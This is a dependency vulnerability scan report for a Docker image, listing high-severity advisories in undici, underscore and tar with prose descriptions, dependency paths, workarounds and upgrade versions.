  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, cheerio@1.1.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the interceptors.decompress() interceptor, which caps the decompression chain at 5 layers but does not bound the total decompressed output size. An attacker can exhaust memory and crash the process by delivering, from a malicious upstream, a small compressed response whose Content-Encoding expands to gigabytes. This requires the application to use the interceptors.decompress() interceptor against untrusted or compromised upstream servers.

Remediation

Upgrade undici to version 7.29.1, 8.10.2 or higher.

References

More about this vulnerability

Use of Persistent Cookies Containing Sensitive Information

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, cheerio@1.1.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Use of Persistent Cookies Containing Sensitive Information in the interceptors.cache() interceptor's shared-cache mode (type: 'shared'), which stores responses without excluding their Set-Cookie headers, contrary to RFC 6265 section 7.2. An attacker can have one user's cookie served to every subsequent caller matching the same cache key, or inject an upstream-supplied cookie into responses served to all callers, by getting a cacheable response that carries a Set-Cookie header cached. This requires the shared-cache mode, which is the default for the cache interceptor, with cacheable Set-Cookie responses from a multi-user or untrusted upstream, and private caches are unaffected.

Workaround

This vulnerability can be avoided by running the cache interceptor in private mode (type: 'private'), so per-user Set-Cookie responses are not shared across callers.

Remediation

Upgrade undici to version 7.29.1, 8.10.2 or higher.

References

More about this vulnerability

Uncaught Exception

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, cheerio@1.1.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Uncaught Exception in the WebSocketStream API, whose socket-close handler calls abort() on the writable stream while the application holds a writer lock and then discards the rejected promise that aborting a locked stream returns. An attacker can crash the process through Node's default unhandledRejection handling by tearing down a WebSocket connection without completing the close handshake, for example with a TCP reset, a proxy teardown, or a protocol-violating frame. This requires the application to use the WebSocketStream API while actively writing through a writer, and the server to be attacker-controlled or compromised.

Remediation

Upgrade undici to version 7.29.1, 8.10.2 or higher.

References

More about this vulnerability

Improper Handling of Case Sensitivity

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, cheerio@1.1.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the fetch() implementation's Subresource Integrity (SRI) verification logic, which matches the algorithm token against a lowercase-only set. A valid but non-lowercase token such as SHA256-... or Sha256-... is treated as unknown and skipped, causing undici to treat the integrity list as empty and accept the response unconditionally. An attacker who controls the response body can therefore deliver arbitrary bytes to an application that pinned a valid uppercase or mixed-case SRI token, with no integrity error raised.

Note: This is only exploitable when the application uses uppercase or mixed-case algorithm tokens (e.g., SHA256, Sha384) in its integrity metadata rather than the canonical lowercase forms.

Workaround

Use lowercase algorithm tokens (sha256, sha384, sha512) in all integrity metadata passed to fetch().

Remediation

Upgrade undici to version 7.30.1, 8.12.2 or higher.

References

More about this vulnerability

Uncaught Exception

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, cheerio@1.1.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Uncaught Exception via the DecompressHandler in lib/interceptor/decompress.js, where an uncaught exception thrown by a downstream handler during onResponseData or onResponseEnd propagates unhandled rather than being converged into a per-request error. An attacker or a misbehaving downstream handler can trigger this condition to crash the request pipeline, causing a denial of service.

Remediation

Upgrade undici to version 7.30.1, 8.12.2 or higher.

References

More about this vulnerability

Uncontrolled Recursion

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: underscore
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › underscore@1.13.7
  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › lop@0.4.2 › underscore@1.13.7
  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › lop@0.4.2 › duck@0.1.12 › underscore@1.13.7

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the _.flatten() or _.isEqual() functions that are used without a depth limit. An attacker can cause the application to crash or become unresponsive by supplying deeply nested data structures as input, leading to stack exhaustion.

Workaround

This vulnerability can be mitigated by enforcing a depth limit on data structures created from untrusted input (e.g., limiting nesting to 1000 levels or fewer), or by passing a finite depth limit as the second argument to the _.flatten() function.

Remediation

Upgrade underscore to version 1.13.8 or higher.

References

More about this vulnerability

Directory Traversal

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: tar
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
